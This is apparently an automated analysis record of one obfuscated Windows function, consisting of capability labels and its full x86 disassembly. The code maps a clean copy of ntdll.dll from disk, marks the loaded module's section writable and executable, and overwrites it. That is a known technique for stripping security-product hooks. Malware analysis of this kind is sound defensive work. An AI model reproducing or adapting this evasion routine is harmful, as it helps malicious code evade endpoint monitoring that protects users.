Function at 0x40dd70
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x74
mov eax, dword [0x479080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x78], 0x90995cc4
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x7c], eax
sub eax, 0x83eec7f6
je 0x40e30f
jmp 0x40dd9f
mov eax, dword [ebp - 0x7c]
sub eax, 0x86316365
je 0x40e371
jmp 0x40ddb2
mov eax, dword [ebp - 0x7c]
sub eax, 0x88f8722d
je 0x40e29c
jmp 0x40ddc5
mov eax, dword [ebp - 0x7c]
sub eax, 0x90995cc4
je 0x40df92
jmp 0x40ddd8
mov eax, dword [ebp - 0x7c]
sub eax, 0x92ffc537
je 0x40e55f
jmp 0x40ddeb
mov eax, dword [ebp - 0x7c]
sub eax, 0xa27448e1
je 0x40e6b2
jmp 0x40ddfe
mov eax, dword [ebp - 0x7c]
sub eax, 0xb056d230
je 0x40e5ca
jmp 0x40de11
mov eax, dword [ebp - 0x7c]
sub eax, 0xb7111239
je 0x40e4ec
jmp 0x40de24
mov eax, dword [ebp - 0x7c]
sub eax, 0xbce94e46
je 0x40e24e
jmp 0x40de37
mov eax, dword [ebp - 0x7c]
sub eax, 0xc7578d3e
je 0x40e005
jmp 0x40de4a
mov eax, dword [ebp - 0x7c]
sub eax, 0xd664b816
je 0x40e3e0
jmp 0x40de5d
mov eax, dword [ebp - 0x7c]
sub eax, 0xd974f20a
je 0x40e075
jmp 0x40de70
mov eax, dword [ebp - 0x7c]
sub eax, 0xdbc68b31
je 0x40e38d
jmp 0x40de83
mov eax, dword [ebp - 0x7c]
sub eax, 0xfe5726aa
je 0x40e6a6
jmp 0x40de96
mov eax, dword [ebp - 0x7c]
sub eax, 0xe8378b6
je 0x40e629
jmp 0x40dea9
mov eax, dword [ebp - 0x7c]
sub eax, 0xf1b3cf4
je 0x40e22e
jmp 0x40debc
mov eax, dword [ebp - 0x7c]
sub eax, 0x2541e1a8
je 0x40e658
jmp 0x40decf
mov eax, dword [ebp - 0x7c]
sub eax, 0x2d6d6fd1
je 0x40e32a
jmp 0x40dee2
mov eax, dword [ebp - 0x7c]
sub eax, 0x2f4d0e4a
je 0x40e69a
jmp 0x40def5
mov eax, dword [ebp - 0x7c]
sub eax, 0x3ee70432
je 0x40e4ae
jmp 0x40df08
mov eax, dword [ebp - 0x7c]
sub eax, 0x4f9f0847
je 0x40e644
jmp 0x40df1b
mov eax, dword [ebp - 0x7c]
sub eax, 0x53a9bfbf
je 0x40e613
jmp 0x40df2e
mov eax, dword [ebp - 0x7c]
sub eax, 0x55dcc1d6
je 0x40e3c0
jmp 0x40df41
mov eax, dword [ebp - 0x7c]
sub eax, 0x5af06d76
je 0x40e211
jmp 0x40df54
mov eax, dword [ebp - 0x7c]
sub eax, 0x5e58f57d
je 0x40e5ec
jmp 0x40df67
mov eax, dword [ebp - 0x7c]
sub eax, 0x6c8af020
je 0x40e081
jmp 0x40df7a
mov eax, dword [ebp - 0x7c]
sub eax, 0x761dd578
je 0x40e5d6
jmp 0x40df8d
jmp 0x40e6b9
mov ecx, dword [0x47a584]
mov eax, dword [0x47a580]
mov edx, ecx
add edx, 0xbebebaa8
sub edx, 1
sub edx, 0xbebebaa8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2f4d0e4a
mov ecx, 0xc7578d3e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40e6b9
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
mov eax, dword [0x47a584]
mov ecx, dword [0x47a580]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2f4d0e4a
mov ecx, 0xd974f20a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40e6b9
mov dword [ebp - 0x78], 0x6c8af020
jmp 0x40e6b9
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x18]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.0041d7d0
add esp, 0xc
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
mov eax, dword [ebp - 0x70]
mov dword [eax], ecx
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x74]
lea eax, [ebp - 0x18]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x6c]
mov dword [eax], ecx
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, eax
mov eax, dword [ebp - 0x68]
mov dword [eax], ecx
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ecx, eax
mov eax, dword [ebp - 0x64]
mov dword [eax], ecx
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
mov eax, dword [ebp - 0x60]
mov dword [eax], ecx
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x5c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov edx, dword [eax + 0x3c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x58]
mov dword [eax], ecx
mov eax, dword [ebp - 0x54]
mov word [eax], 0
mov dword [ebp - 0x78], 0x5af06d76
jmp 0x40e6b9
mov eax, dword [ebp - 0x54]
movzx eax, word [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x78], 0xf1b3cf4
jmp 0x40e6b9
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax + 6]
mov eax, dword [ebp - 0x44]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x39], al
mov dword [ebp - 0x78], 0xbce94e46
jmp 0x40e6b9
mov eax, dword [0x47a584]
mov ecx, dword [0x47a580]
mov edx, eax
sub edx, 0x2e2150d
sub edx, 1
add edx, 0x2e2150d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfe5726aa
mov ecx, 0x88f8722d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40e6b9
mov ecx, dword [0x47a584]
mov eax, dword [0x47a580]
mov edx, ecx
add edx, 0x46d4fdf0
sub edx, 1
sub edx, 0x46d4fdf0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfe5726aa
mov ecx, 0x83eec7f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40e6b9
mov dl, byte [ebp - 0x39]
mov eax, 0xe8378b6
mov ecx, 0x2d6d6fd1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40e6b9
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
add eax, 0x98c61f76
add eax, 0x18
sub eax, 0x98c61f76
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ecx]
movzx edx, word [ecx + 0x14]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0x54]
movzx ecx, word [ecx]
imul edx, ecx, 0x28
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x78], 0x86316365
jmp 0x40e6b9
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x50]
mov dword [eax], ecx
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x78], 0xdbc68b31
jmp 0x40e6b9
mov ecx, dword [ebp - 0x34]
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x42cd3d
call fcn.004210d0
add esp, 8
mov edx, eax
mov eax, 0x55dcc1d6
mov ecx, 0xb7111239
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40e6b9
mov eax, dword [ebp - 0x4c]
mov dword [eax], 0
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
add eax, 8
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x78], 0xd664b816
jmp 0x40e6b9
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x6c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, edx
xor edx, edx
sub edx, esi
add eax, edx
xor edx, edx
sub edx, eax
mov eax, dword [ebp - 0x4c]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x48]
mov byte [eax], cl
mov eax, dword [ebp - 0x6c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
xor eax, eax
sub eax, ecx
sub edx, eax
mov eax, dword [ebp - 0x60]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, esi
sub ecx, eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov eax, dword [eax + 8]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041d930
add esp, 0xc
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x50]
mov ecx, dword [ecx]
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x78], 0x3ee70432
jmp 0x40e6b9
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x24]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x48]
mov byte [eax], cl
mov dword [ebp - 0x78], 0xb7111239
jmp 0x40e6b9
mov ecx, dword [0x47a584]
mov eax, dword [0x47a580]
mov edx, ecx
add edx, 0xa8dfd51e
sub edx, 1
sub edx, 0xa8dfd51e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa27448e1
mov ecx, 0x92ffc537
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40e6b9
mov ecx, dword [0x47a584]
mov eax, dword [0x47a580]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa27448e1
mov ecx, 0xb056d230
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40e6b9
mov dword [ebp - 0x78], 0x761dd578
jmp 0x40e6b9
mov eax, dword [ebp - 0x54]
mov ax, word [eax]
mov word [ebp - 0x20], ax
mov dword [ebp - 0x78], 0x5e58f57d
jmp 0x40e6b9
mov ax, word [ebp - 0x20]
xor ecx, ecx
sub cx, ax
xor eax, eax
sub ax, 1
add cx, ax
xor eax, eax
sub ax, cx
mov word [ebp - 0x1e], ax
mov dword [ebp - 0x78], 0x53a9bfbf
jmp 0x40e6b9
mov eax, dword [ebp - 0x54]
mov cx, word [ebp - 0x1e]
mov word [eax], cx
mov dword [ebp - 0x78], 0x5af06d76
jmp 0x40e6b9
mov eax, dword [ebp - 0x74]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x78], 0x4f9f0847
jmp 0x40e6b9
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x78], 0x2541e1a8
jmp 0x40e6b9
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0041cac0
lea esp, [ebp - 8]
pop esi
pop ebx
pop ebp
ret
mov dword [ebp - 0x78], 0xc7578d3e
jmp 0x40e6b9
mov dword [ebp - 0x78], 0x88f8722d
jmp 0x40e6b9
mov dword [ebp - 0x78], 0x92ffc537
jmp 0x40dd89